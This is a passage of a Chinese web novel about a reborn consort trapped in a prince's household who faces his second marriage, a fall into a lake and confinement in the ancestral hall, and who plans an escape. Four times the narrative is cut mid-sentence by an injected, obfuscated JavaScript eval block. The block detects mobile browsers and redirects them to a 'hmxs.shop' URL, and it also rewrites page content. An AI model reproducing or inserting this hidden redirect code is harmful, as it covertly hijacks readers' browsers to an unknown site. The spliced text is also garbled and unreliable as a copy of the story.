沐毓露摇了摇头，很淡然地道：“柳姑娘的确身世可怜，又是王爷的救命恩人，你若是想给她王妃之位也属正常。” 说着她便朝穆衾寒跪下，“如此，我便自请下堂，绝不给王爷添一丝困扰。” 穆衾寒上前想要扶她，见她固执地跪在地上，怎么也不肯起来，还当她是在赌气，于是安抚她道：“你放心，即便阿柳与我成亲，也绝不会动摇你的地位。” 他一边说沐毓露一边点头，她原本以为这事儿稳了，可是越听到后面越觉得不对劲：“王爷，你要娶她，还要给她王妃之位，可我还在这里占着位置呢，这样你怎么娶她？难不成一个王府里有两个王妃？” 却没想到穆衾寒居然微微颔首：“我可以将她纳为平妻，这样她与你都有王妃之尊，但是她比你入府晚，终归在你之下，你在府中的地位不会有丝毫动摇。” 沐毓露噌地一下站起身来，不可置信地望着穆衾寒，瞪着他看了好半天才憋出一句：“你是不是有病？” 除了脑子有病，她想不到别的解释了。 他还真打算一个人娶两个王妃，还说什么柳闻霜比她入府晚，始终在她之下，这种话他是怎么说得出口的？ 穆衾寒见她反应这般激烈，只当她是受到了刺激所以才会如此失态，于是大方地不与她计较：“这件事情我已经交代王府总管去办了，最晚等到过了春节，我就要迎娶她入府，这件事情没什么可商量的。” 说完他似乎是忍了又忍，最后还是没忍住道：“你入王府也快有半年的光景了，这半年的时间里你对府中事务不闻不问，哪里尽到了一点王妃的职责？莫说府里，就是京城官眷还有宫中娘娘们举办的宴席，你也一次都没有参加过。” 既然话已经说到了这里，他干脆就将自己的不满一股脑儿倒了出来：“身为王妃之尊就要尽到王妃之责，然而不管是在内管家还是在外酬宴，你可有一件事情上心过？如今我决定将阿柳娶进王府，也是为了帮你分担这些责任。” 见沐毓露脸色白得可怕，穆衾寒放缓了语气：“阿柳虽然胆子小点，但是温柔贤淑，很是体贴细心，有她帮忙操持着府中事务，我也可安心一些。你放心，最尊贵的正妃之位永远是你的，阿柳也不会来同你争，你大可以放宽了心继续享受。” 沐毓露现在不仅仅是脸色苍白了，她现在觉得自己很想吐血，此刻她脑子里只反复回荡着三个字，人言否？ 实在是忍无可忍，她一拍桌子怒喝道：“这王妃之尊是我想要的吗？是我非逼着你把我娶进王府的么？当初强娶我的时候你就该猜到会有这一天，我不擅管家，也不会应酬，更不愿意为了不喜欢的人每天曲意逢迎，这些事情你是到今天才第一次知道么？” 穆衾寒望向她的目光越来越冷峻，便在他要开口说话时，一个小丫头在门外道：“启禀王爷，柳姑娘让我来提醒您，现在是吃药的时辰了。” 穆衾寒这才作罢，深深地望了她一眼，近乎咬牙切齿地说出一句：“阿柳我一定会娶，但你也别想离开这里。” 然后便拂袖转身离去。 待穆衾寒离开后，檀香才哆哆嗦嗦地从门外挪了进来，她一副惊魂未定的样子，一把扶住沐毓露：“王妃，您、您……” 支支吾吾了半天她也没说出什么话来，但沐毓露心中清楚，她是很震惊自己怎么敢这样同穆衾寒说话。 方才她的确是气得狠了，直到现在才慢慢缓了过来，在檀香的搀扶下失魂落魄地坐回了椅子上。 命运的确在按照原本的轨迹向前走，穆衾寒对柳闻霜情根深种，执意要娶她入府，但是与此同时，他也摆明了不会放过自己。 刚才穆衾寒说她身为王妃之尊就应该尽到王妃之责时的神情和语气，让她恍惚间看见了沐玉罡的身影，也是在那一瞬间，她突然就体会到了沐昭氏的感受。 以前在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682865|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沐府的时候，连她都时不时听见沐玉罡说这番话，何况是身为正主的沐昭氏。 日日听见自己的夫君用这样的言语指责自己，还时不时拿另一人的温柔贤淑与自己的无能做比较，是个人都会疯。 只不过她与沐昭氏还是有区别的，区别就在于她不爱穆衾寒，她没有像母亲一样将夫君视为自己的天。 这一刻她突然无比庆幸，庆幸自己在穆衾寒无数次攻势下保持理智，没有再如上一世那般被他的一个眼神就攻陷。 还好她不爱他，否则听见穆衾寒方才那番话后，她当场就得发疯。 此后两个月，穆王府里热闹非常，总管张罗着王爷娶亲的事宜，每日都有不少人进进出出，有来布置王府的，有来准备吃食的，还有来为柳闻霜量体裁衣的。 相比较之下，沐毓露的院子就显得更加寂静，每日除了檀香进出伺候，连个人影儿都见不到。 府里关于沐毓露失宠，马上就要被柳闻霜取代的传言更加甚嚣尘上，以前穆衾寒听见这些话还会责罚在背后嚼舌根的下人，自从前次同沐毓露大吵一架之后，他便也懒得管了。 如今沐毓露在王府的日子称得上凄凉，也就是空有一个王妃的名号，府中下人不至于苛待她也就是了。 转眼间凛冬已至，天气太冷，园子里的花草都枯萎了，光秃秃的没什么看头，沐毓露反而起了兴致，每天都要到花园里去逛一圈。 檀香在一旁陪着她，对沐毓露的行为感到不解：“王妃，这园子里的花草树木到了春夏时节才好看呢，现在都是些枯枝败叶，奴婢觉得没什么看头。” 沐毓露抬手抚上一截枯枝，一边摩挲着光滑的枝桠，一边对檀香说道：“每次看到那些开得正盛的花儿，我心里总觉得空落落的，总害怕时间流逝，觉得它们迟早都要枯萎，于是看到满树的繁花也就开心不起来了。” 她抬步继续向前走，“可是此刻看到这些枯败的花树，我心里清楚再过几个月它们就会重新盛放，眼前的枯败只是一时的，很快就会到百花盛开的春天了。这样子想着，我的心里也觉得踏实了许多。” 檀香跟在沐毓露的身后走着，眼里泛起心疼，她沉默了一会儿之后道：“王妃这是太寂寞了，这段时间王爷都陪着柳姑娘，府里的那些下人也总是不见人影，看到您的院子居然都绕着走……” 说到这里她鼓起勇气道：“您要不去同王爷服个软？只要王爷如从前那般待您，府里的那些下人也就不敢怠慢您了。” 沐毓露没有说话，她在一个破败的院子前站定，怔怔地盯着它看了好一会儿，再开口时她的声音有些颤抖：“檀香，这是什么地方？” 檀香望了一眼院子的方向，“这个院子在我来之前就废弃了，我也不知道它是做什么的。” 沐毓露深吸了口气，望着那间废弃在枯败的园林角落的小院子，霎时间觉得天旋地转。 85. 第85章 今日她逛园子的时间比平时久了些，走得也就远了点，没想到竟然不知不觉走到了自己前世殒命的那间院子跟前。 恰巧此时有几个打理花园的婢女路过，沐毓露唤住她们，询问这间废弃的院子曾经是做什么的。 那几名婢女停下步伐，其中一个上前回话道：“回禀王妃，那里曾经是一个花匠的住所。因他花儿种得好，所以王爷赏了他一间院子。” 沐毓露的视线始终停留在那院子残缺的砖瓦上，“后来呢？那花匠去了哪里？这间院子又为什么废弃了？” 那婢女抿了抿唇，一副很犹豫的样子。 沐毓露沉声道：“问你什么答就是了，支支吾吾的像什么样子。” 平时的沐毓露都是一副淡淡然无所谓的样子，有时候那些奴才们将编排她的话都传到了她的耳朵里，她也只是一笑了之，从来不曾动怒过，这还是她第一次如此疾言厉色地同府中下人说话，吓得那婢女跪在地上道：“不是奴婢有意隐瞒，实在是那花匠的下场不好，奴婢怕惊着王妃。” 沐毓露心里紧了一下，却还是装作没事人一般问她：“你直接说就是，他最后到底怎么了？” 那婢女这才道：“后来他被王爷查出是宫里派来的细作，王爷就把他活埋了，说是……说是用他的身体做肥料。” 沐毓露早上原本就没有吃什么，此刻听见那婢女如此说，恶心得一阵干呕，偏偏又吐不出什么东西来，肠胃里一阵的翻涌，嘴巴里也是无比的苦涩。 檀香见她突然这样难受，一边扶住她，一边要遣人去寻大夫，却被沐毓露一把拦住。 她借着檀香的力直起身子，冲那些跪在地上的婢女挥了挥手，“行了，你们下去吧。” 紧接着她迈步朝那荒废的院子走去。 檀香慌慌张张地想要拉住她：“王妃，这地方不吉利，我们还是不要进去了吧？” 沐毓露摇了摇头，拂开她的手，“你若害怕就在这里等我，我自己进去看一看。” 说完她头也不回地迈进了残破的门槛，檀香在她身后犹豫了半晌，最后还是咬咬牙追了上去。 门内是一个完全被时光遗弃了的小院。 荒草没膝，在寒风中发出簌簌的声音，几棵老槐树倚在墙角，光秃秃的枝桠扭曲地伸向灰白的天空，像是溺水的人绝望地伸出求救的手。 角落有两间摇摇欲坠的破败厢房，门窗歪斜，糊窗的纸早已破败不堪，被风一吹便呜咽作响。 阳光洒在那两间厢房上，非但没有带来暖意，反而将这破败的景象照得更加清晰，更添几分诡异。 不知是心理作用，还是方才那婢女说的话给檀香留下了太深的印象，她总觉得这里鬼气森森的。 她紧紧跟在沐毓露的身后，见对方居然还要往里屋走，吓得一个劲地扯她的袖子，“那里是那个花匠生前住的屋子，他死得那样惨，我们还是不要往里走了吧？” 沐毓露有些恍惚地问：“是么？你也觉得她死得很惨么？” 檀香想退不能退，走又不敢走，只能无助地点头。 沐毓露终于在这时停下了步子。 前世就是在这里，穆衾寒阴沉着脸站在门口，高高在上地赐她白绫，说这已是他对她最后的仁慈。 她就是在这里结束了自己的生命，却是不知，这个院子的前主人命运也没有比她好到哪里去。 她至今都记得视线被泪水模糊时，看见穆衾寒漠然转身离去的背影，记得白绫勒在脖子上时，窒息感和皮肉被撕裂的痛楚一并涌上来的感觉。 即便活了两辈子，她也不会忘记前世濒死时的痛苦。 檀香的声音将她拽回了现实：“王妃，您到这里来到底是要做什么呀？我们快回去吧。” 沐毓露怔然地望了她一眼，然后重新将目光投向厢房：“我在看我的埋骨之地。” 她这句话可是将檀香吓得不轻，小姑娘一下子就紧贴在了沐毓露的身上，也是在这时她才发现，沐毓露浑身凉得可怕，身上穿的那些衣料似乎并不能给她带来温暖，她整个人都散发着凉气，像是从冰窖里挖出来的冰雕。 此刻的沐毓露的确沉浸在无边无际令人绝望的黑暗和冰冷中。 她恍惚间有一种感觉，今生的命运似乎正在以一种她不可抗拒的速度与前世的轨迹相重合。 重生以来她做了那样多的努力，最后却还是被迫嫁入了王府。 分明在穆衾寒毒发几个月后才会出现的柳闻霜竟然提前现身。 今天她在不知不觉间来到这里，焉知不是命运的安排。 她突然就意识到，她最害怕的事情终于还是发生了，她做的那些努力都没能改变自己的结局，这里恐怕真的会又一次成为她的埋骨之地。 想到这里她浑身都颤抖起来，心脏好像被藤蔓缠住，越收越紧，让她逐渐无法呼吸。 下一秒她转过身，逃命般跑了出去。 檀香在她的身后追，却不知道沐毓露哪里来的力气，居然跑得这么快，一个拐弯她就寻不见了沐毓露的身影。 沐毓露没命地奔逃着，就好像身后有厉鬼冤魂在追她，直到跑到王府花园相对开阔的南侧，眼前出现一汪湖水，周围不再是那些可怖的枯败枝桠时，她才慢慢停下了步子。 湖水在初冬的阳光下泛着清冷的光，池畔垂柳光秃秃的枝条在寒风中摇曳着，有几只不怕冷的锦鲤在靠近岸边的浅水里游弋，等待着岸上的人投食。 湖岸边有一个拢着胭脂红斗篷的身影，正闲闲地倚靠在树旁，往湖中抛洒着鱼食。 正是许久未见的柳闻霜。 几个月没见，她似乎越发丰腴了。 此刻穿在她身上的那一抹鲜艳的红，在萧瑟的冬日花园里显得格外刺目，这一幅平静安宁的画面落在沐毓露眼中，更是令她觉得心中刺痛。 她突然感觉无比愤怒，这股愤怒瞬间就吞没了理智，驱使着她走上前，鬼使神差地将手伸到了柳闻霜的背后。 凭什么一切都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688456|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经顺遂他们的心意了，穆衾寒却还是不肯放她离开？他们倒是在王府过起了神仙眷侣的日子，她却如活死人一般被囚禁在这里。 她忍不住去想，倘若柳闻霜死了呢？ 穆衾寒也许会悲痛欲绝生不如死吧？ 手停在半空中，还没有触碰到柳闻霜的衣衫，她的心里便已经升腾起一阵快感。 可是下一秒，她突然反应过来自己都在做些什么，反应过来之后极大的悲伤如潮水般涌上心头，淹没了那满腔的愤怒。 如果她真的将柳闻霜推了下去，那么今生的她还不如前世的她，她当真白活两辈子了。 重生之后她拼命远离穆衾寒，不就是为了避免前世的命运，避免再次因爱生恨误入歧途么？如今她被仇恨冲昏头脑，这和前世的她被嫉妒冲昏头脑有什么区别？ 想到这里她顿时冒出了冷汗，正想将伸到半空中的手收回来，却听见不远处传来穆衾寒的声音：“沐毓露！你在做什么？” 在穆衾寒声音响起的下一秒，柳闻霜转头循声望去，然而刚转过头就看见沐毓露将手伸到她的背后，作势要推她的样子，吓得她一个踉跄，当真摇摇晃晃地向湖面跌去。 沐毓露心中一惊，伸手想要拉她，却被她拽着一同跌进了冰冷的湖水中。 两人同时坠入水中的冲击力太大，冰冷的湖水瞬间没过了她们的头顶。 熟悉的窒息感再一次传来，沐毓露拽紧了柳闻霜的手，拼命地拉着她上浮，刚浮出水面就见到穆衾寒朝着她们的方向疾奔而来。 赶到湖边后他毫不犹豫跳入水中，一把将柳闻霜从沐毓露的手中抢过去，揽着她游上了岸。 将柳闻霜在岸边放下后，他颤抖着把她揽进怀里，小心翼翼地轻抚着她发白的嘴唇，一声声呼唤着她的名字。 然而她紧蹙着眉头陷入了昏迷，任凭他怎么呼唤都没有醒转。 沐毓露跟在他们身后自己游上了岸，刚爬到岸上就见到穆衾寒回首死死地盯着她，平时沉静的眼眸里此刻翻涌着滔天巨浪。 她从他的眼中看到了惊疑愤怒，还有冷冰冰的指责。 “我……”她张了张口又闭上，最后什么也没有说。 眼下这么个情形，她自知百口莫辩。 穆衾寒没有说话，他用一种仿佛看陌生人的眼光盯着沐毓露看了一会儿，然后就抱着柳闻霜离开了这里。 沐毓露抹了一把头发上冰凉的水，就这么狼狈地站在原地。 她就知道会这样。 她早就知道会这样的。 命运给她重活一次的机会，就是要她拼尽全力逃离前世的轨迹，如若不能，等待她的只有比前世还要凄惨的结局。 还好今生的她从不曾对穆衾寒抱有过一丝一毫的幻想，否则面对柳闻霜的横刀夺爱，面对穆衾寒的移情别恋，她只会比上一世更加痛苦。 一边在寒风中瑟瑟发抖，她一边劫后余生般疯狂地笑，檀香赶到湖边时看到的就是这样诡异的一幕。 86. 第86章 她连忙冲到沐毓露的身边：“王妃，你这是怎么了？你可别吓奴婢呀！” 说着她抬手抚上沐毓露的胳膊：“你身上这么湿，再不回去把衣服换下来会着凉的，我们快回去吧。” 便在这时王府总管领着一队侍卫向沐毓露走来，在她面前站定之后，他恭恭敬敬行了一礼，说话时却不带任何感情：“王妃，王爷说您犯了大错，他要求奴才立刻带您去祠堂罚跪思过。” 沐毓露抬起头，双眼无神地望向他，站在她身旁的檀香却忍不住开口道：“王妃现在浑身都湿透了，就算要去祠堂罚跪，也要先把这一身儿衣裳换了才是。现在天气这么寒冷，她若是不换衣服就去罚跪，一定会生病的……” 那总管毫不留情地打断她，却也没有多说什么，只是重复了一遍方才的话：“王爷吩咐过了，要求王妃立刻去祠堂罚跪。” 檀香不忍地望了沐毓露一眼，还想开口替她求情，却被沐毓露一把拦下。 “我没事，你先回去吧。”沐毓露淡淡地说了这么一句，然后当真就穿着这么一身湿透了的衣裳，跟着总管去了祠堂。 刚一迈进祠堂大门，便有一股陈年的檀香气息混合着灰尘的味道扑面而来，祠堂里的光线很昏暗，只有几盏长明灯在梁柱间跳跃着微弱的光，勉强映照出供桌上层层叠叠密密麻麻的先祖牌位。 在那些牌位前跪下的时候她又开始胡思乱想，穆衾寒的父亲是先帝，母亲也是宫里的妃子，他的先祖自然也就是历代皇帝，也不知道这些祠堂里供奉着的又都是谁？ 见她老老实实跪下了，王府总管一言不发带着侍卫离去，祠堂沉重的大门在沐毓露身后关闭，隔绝了外面所有的光线和声音。 大门关上的那一刻掀起一阵阴冷的风，沐毓露浑身都湿透了，那风携来的寒意瞬间就穿透了衣料，直钻骨髓。 这冰冷的痛楚与被囚禁的绝望感，与前世的记忆相重合，那种被整个世界抛弃，在绝望中等死的恐惧又一次如潮水般汹涌而至。 她不躲不避，任凭这些负面情绪将她淹没在海底，也就是在这个时候她才终于明白了自己从前的天真。 她居然奢望穆衾寒能主动放过她。 她忘记了他是朱雀国最位高权重之人，即便是最寻常的官吏，稍微有一点权力，都恨不得将所有的珍稀之物都收入囊中，何况是穆衾寒？ 即便是用不上的东西，但只要曾经属于过他，他就绝不可能放手。 时间在沉思中流逝，不知道过了多久，直到灯油消耗得差不多，祠堂里的光线变得愈发昏暗时，终于有人拎着食盒走了进来。 沐毓露回首望了来人一眼，然后唇角勾起一丝冷笑：“檀香？没想到他们还肯让你给我送吃食来。” 檀香走到沐毓露面前，将食盒打开，“王爷嘱咐过了，只是让您跪祠堂思过，其余一应待遇照旧，王爷他对您还是有感情的。” 沐毓露在心里默默地道，是啊，的确是有感情的，而且这感情看起来还不浅。她都不敢想若是前世的她将柳闻霜吓得掉进了湖里，穆衾寒该有多愤怒，会用怎样的手段惩罚她。 跪祠堂的惩罚方式跟前世相比简直就是毛毛雨，如此看来，今生的穆衾寒已经算是对她情根深种了。 垂首望了一眼食盒里的饭菜，她很没有胃口地将视线移开，“你拿回去吧，我不想吃。” “王妃好歹吃一点吧，您已经一天都没吃饭了，若是饿坏了身子可怎么好？”檀香苦口婆心地劝她：“或者您喝一口汤润润喉咙也好。” 沐毓露不说话了，只是苍白着脸摇摇头。 莫说她现在根本没胃口，就算她胃口大开吃得下这些饭，现在她也是不会吃的。 如今看来穆衾寒对她倒是颇有些情分，那她自然要好好利用起来，只要她不吃不喝的消息传了出去，穆衾寒绝不会坐视不管。 檀香却是没有想到这一层，她还在苦苦地劝沐毓露吃饭，见对方完全不为所动，铁了心一口都不吃，她只好将饭菜都收了回去。 重新拎起食盒，她起身欲走，却又犹豫地停下了步伐，脑海里天人交战了一番后，她俯身在沐毓露耳边低声道：“今日我去府外采买，碰到有人打听您的近况。” 沐毓露原本无精打采地耷拉着眼皮，听到这个消息后猛地将眼睛睁开，她谨慎地望了一眼窗外，同样压低了声音问：“你可知道是谁在打听？” 檀香咬了咬牙，说都说了，干脆将她知道的一切和盘托出：“打听您近况的是一位姑娘，很年轻，看起来也就是十六七岁的模样。” “她说她已经回京城一段时间了，早就打听到如今我是您的贴身侍婢，观察了我很长一段时间，确定了我的为人之后才来找我问话的。” 十六七岁的姑娘，曾经离开过京城，最近才回来，沐毓露已经确定了，那姑娘不是心云就是默合。 她继续压低了声音问：“除了打听我的近况她还有没有同你说别的？” 檀香又狠狠地咬了咬牙，一副豁出去了的表情：“她还告诉我，这段时间她都会在京城待着，您若是有什么想同她说的，可以想办法传给她，她有什么要告诉您的也会想办法将消息递进来。” 沐毓露一边听一边点头。 这样的说话方式，这般沉稳的风格，她已经可以确定来人是默合了。 檀香在这时候问她：“王妃，您真的要递消息给她么？您是不是想离开王府？” 不待沐毓露开口，她又劝道：“其实我知道您不想待在这里，也并非自愿嫁给王爷，现在我看您吃这么多的苦，私心里也希望您能离开这里。但是这里是摄政王府，守卫森严，王爷又位高权重，手握精兵，您是逃不出去的。” “您和王爷成亲那日我也在现场，我曾见到有一位白衣剑客前来将您带走。”回想起那日的场景，檀香声音里仍有掩不住的惊惧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694101|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“可是最后您还是被带回来了。” “那白衣剑客武功如此高强，都没能将您带走，我怕那姑娘也没办法带您离开，到时候不仅没有走成，反而激怒了王爷……” “激怒了他，我也许会死。”沐毓露打断了檀香：“但若是不走，我现在就会死。” 她抬头注视着檀香，分明满目萧索，眼底却又有隐隐的希望：“檀香，你愿意帮我么？” 檀香不假思索地点了点头，随即又犹豫地摇摇脑袋，“我只是一个奴才，我能够帮到您什么？” 沐毓露握住她的手：“穆衾寒信不过我，每次我出府的时候都有一队侍卫跟着，但你一直都是王府的人，他暂时怀疑不到你的头上。每次外出采买时，你可以帮我向那姑娘递消息。” 檀香应了一声，然后再次点了点头：“奴婢的这条命本来就是王妃救的，若不是王妃怜悯我，那日布菜时我犯了那样大的错，王爷早就命人打我二十大板，再将我发落出去了。” 她反握住沐毓露的手：“我愿意帮你们传递消息。” 沐毓露目光沉沉，不知在思索些什么，片刻之后她嘱咐道：“这两日你先不要出府，一定要沉住气，装作什么都没有发生过，待我筹谋好之后，就会找合适的时机让你出去传消息。” 说完她怜惜地抬手抚上檀香因为惊惧也变得和她一样苍白的脸，“你放心，我会想到一个合适的法子，让你也离开王府。” 檀香却瑟缩地道：“我从小就被家人卖身为奴，成为了贱籍，后又辗转来到王府，身契都在主人手上，即便逃离了王府，也是无家可归的流民，我没有地方可去的。” “傻姑娘，你这么义无反顾地帮我，就没有想过若是我真的逃了，你会有什么下场？”沐毓露加重了语气：“不管我们之前藏得多隐蔽，只要我逃出去了，穆衾寒迟早会查到你头上。” 她不容置疑地道：“你必须和我一起走，至于走了之后会怎样，等到了那时候再说。” “总之要先走出去。”说完她更加用力地握住檀香的手，“他们将外面世界的人形容成豺狼虎豹，那都是用来骗我们的。相信我，外面的世界没有那么可怕，天大地大，总有我们的容身之处。别怕，我会和你一起。” 沐毓露这番话委实是很有感染力，檀香心底生出了一股从未有过的勇气，她注视着沐毓露的眼睛，然后用力地点了点头。 “好了，你快出去吧，在这里待久了也会让人怀疑，记住明天还是在这个时候过来。”沐毓露望了一眼食盒，嘱咐她：“你明天送饭，我还是不会吃，但是你必须要来一趟。” 檀香懵懵懂懂地点了点头，她虽然不明白沐毓露此举到底有何用意，却还是老老实实照做，第二天再次拎着食盒过来，然后又原封不动地将食盒拿了回去。 很快沐毓露不吃不喝的消息就传到了穆衾寒那里，在第三天的傍晚，他终于出现在了祠堂门口。 87. 第87章 此时沐毓露已经饿了整整三天。 大门从外面推开，外界的光照射进来，她下意识眯起眼睛，身体因为虚弱而踉跄地晃了一下，勉强用手肘撑住冰凉的地面才没有彻底摔倒。 虚弱地回过头，她看见穆衾寒高大挺拔的身影逆着光出现在祠堂门口，挡住了大部分光线，在地上投下一道长长的影子。 她现在的模样自然是很狼狈的，但是穆衾寒的样子似乎也没有好到哪里去。 他穿着墨色的常服，脸上依旧带着大病初愈的苍白，眼下还有一圈乌青，一看便知这几日他一定亲自守在柳闻霜榻前，怕是几天几夜都没有合眼，整个人看起来疲惫至极。 她还从没有见过他这般疲惫脆弱的模样。 他站在门口，没有立刻进来，只是沉默地注视着蜷缩在冰冷青砖上的她。 两人对视了一眼后他终于抬步走了进来。 脚步声在寂静的祠堂里回荡，他的身影越来越近，最后彻底将她笼罩。她在一片阴影中抬起头，这才发现穆衾寒手中拎着一个食盒。 干裂的嘴唇动了动，她的嘴角扬起一个微不可见的笑。 穆衾寒没有说话，他只是将手中的食盒放到她的面前，然后将盖子打开，亲自把里面的清粥小菜给她端出来。 沐毓露一动不动地注视着他，撑在地上的胳膊控制不住地微微发抖，整个人看起来虚弱至极，仿佛下一秒就会晕死过去。 待穆衾寒将筷子递到自己面前的时候，她终于开口说话了：“你想怎么罚我都可以，我只有一个请求……” 她的声音因为虚弱而有些颤抖，断断续续地讲了一句话之后，她喘息了一会儿才继续说道：“我死之后求你把我埋在山上，寻一处开阔一点的地方，我这一生都被人关着，也许死后才能拥有自由。” 说完她猛地吸了一口气，仿佛被那自由二字抽干了所有支撑的力气，身体如同断了线的木偶，毫无征兆地向前倒去。 她自然没有砸在冰冷的地上，而是跌入了穆衾寒的怀抱里。 在看见她晕倒的一瞬间，他几乎是下意识伸出手臂，稳稳地接住了她倾倒的身体。 此刻她的脑袋无力地贴在他的衣襟上，冰凉的额头触到他温热的胸膛，身体软得没有一丝力气，连呼吸都十分微弱。 穆衾寒的表情依旧没有什么变化，但沐毓露能够清晰地感觉到，在抱住她的一瞬间他变得僵硬的身体，以及胸膛里骤然加快的心跳。 他低头深深地注视着她，喉结艰难地滚动了一下，环抱着她的手臂不由自主收紧了些。 他张了张口，似乎想说些什么，或许是责备，或许是训斥，但最终所有的言语都卡在了喉咙里，只化作一声叹息，沉沉地落在她的发顶。 沐毓露在这时候突然抬手抱住了他。 她似乎是哭了，却又不想让他看见自己的眼泪，于是将脑袋埋进他的怀里，无意识地轻轻蹭了蹭。 穆衾寒微微颤了颤，然后将她打横抱了起来。 身体骤然离开冰冷的地面，悬空落入一个坚实的怀抱，这突如其来的失重感和暖意让沐毓露早已麻木的身体本能地瑟缩了一下，然后她将脸颊更深地埋进他的怀里，发出一声微弱的呜咽。 穆衾寒抱着她的动作顿了一顿，似乎是被这一声呜咽给刺中了，垂眸看了她一眼，他抱着她转身大步流星地走出了祠堂。 离开祠堂后他将她带回了自己的院子，疼惜地将她放在了床榻上。 一路上目睹了这一幕的奴才们纷纷将脑袋垂了下来，眼观鼻鼻观心，大气都不敢出。 他们不知道沐毓露在祠堂里同王爷说了些什么，总之王爷突然就转性了，轻而易举原谅了她。 很快王府里的下人们就都知道，王爷王妃不仅和好了，甚至感情更胜从前。 以前穆衾寒深夜归府，只有柳闻霜守在门口等他，可是如今沐毓露居然也会在屋里点一盏灯等他归来，而且她并不是干坐着等他，居然会到厨房去亲自给他做一些夜宵，这样等他归来的时候，就刚好能吃到热乎的茶点。 更离谱的是有一日她见他的朝服开了一条线，竟然自告奋勇要给他补衣裳，结果不小心把那口子越缝越大，于是又兴冲冲地跑到街上去寻合适的衣料，势必要将他的衣裳缝补得完好如初。 王府总管原本想告诉她王爷的衣服破了不用补，直接扔了换件新的就是，却被穆衾寒拦下。 他似乎很喜欢看沐毓露为他忙前忙后的样子，尽管有时候她反而把事情弄得一团糟，他也照样乐在其中。 如此又过了大半个月，眼见王爷都没有多说什么，摆明了宠着她，王府里的人便也不再多嘴，事事都顺着沐毓露来。 在穆衾寒的纵容下，她对“照顾”他这件事更有兴致了，几乎日日都往王府外面跑，不是去酒楼里研究新的菜品做给他吃，就是跑到成衣店说是要亲自帮他研究衣服的花样。 穆衾寒倒也不拘着她，有时候她同他抱怨那些侍卫跟得太紧，她都没办法自由行动，他还会命那些侍卫同她保持距离，到了后来甚至主动裁撤了一些外出随行的人。 王府的日子眼看着逐渐其乐融融了起来。 到了过年的时候，穆衾寒同沐毓露和柳闻霜一起吃了顿家宴，席间两人相处得还算是和谐，仿佛之前沐毓露推柳闻霜下水的事情从来没有发生过。 春节过后，元宵节前，穆衾寒如他之前所言那般同柳闻霜成亲了。 这一次的婚宴依旧举行得很热闹，并且过程顺利，现场没有任何突发状况。 至少没有人突然冒出来抢亲。 穆衾寒与柳闻霜成婚当晚，沐毓露一个人在花园那间废弃的院子跟前站了一晚上，硬生生把自己冻得感染了风寒，第二天虚弱地躺在床上，连地都下不了。 之前她坠湖之后几天没有吃饭，身子本就虚弱，好容易才调理成如今这个样子，转眼又倒下了。 穆衾寒心急如焚，成婚后只陪了柳闻霜一天，其余的时间都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702765|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用来照顾沐毓露了。 这日又下了一场大雪，天气不好，对沐毓露养病也很不利，穆衾寒才下了早朝就匆匆忙忙赶回她的院子，亲自喂她喝药。 沐毓露裹在被子里瑟瑟发抖，她的风寒分明已经好了大半，烧却怎么也退不下去，此刻裹着两床被子还觉得冷，又命人在屋角点了两个火炉。 穆衾寒望了一眼那两个火炉，一边喂药一边对她道：“还记得之前在沐府照顾你，我也让人在屋角点了两个这样的火炉。” 沐毓露一边咳嗽一边抬眼望他，如今她看他的眼神又恢复了那日的温柔，眼中满含爱慕之意：“那日在王府的花园坠入湖里的时候，我也突然想到了这个。” “所以后来我才想明白，其实一直以来都是你在照顾我，我也想好好照顾你一次。”她依偎在穆衾寒的胳膊上，一边说话一边将他手中的汤勺按了回去，“太苦了，我不想喝。” 穆衾寒哑然失笑：“这么大的人了，还怕苦不肯喝药？” 沐毓露将头别到一边去，声音闷闷的，还带着一点鼻音：“可这药实在也太苦了，比我从前喝过的所有药加起来都苦。” 穆衾寒哄她：“不喝药怎么能好起来？你看你还发着烧。乖乖喝药，喝了药之后我命人去给你买糖葫芦，好不好？” 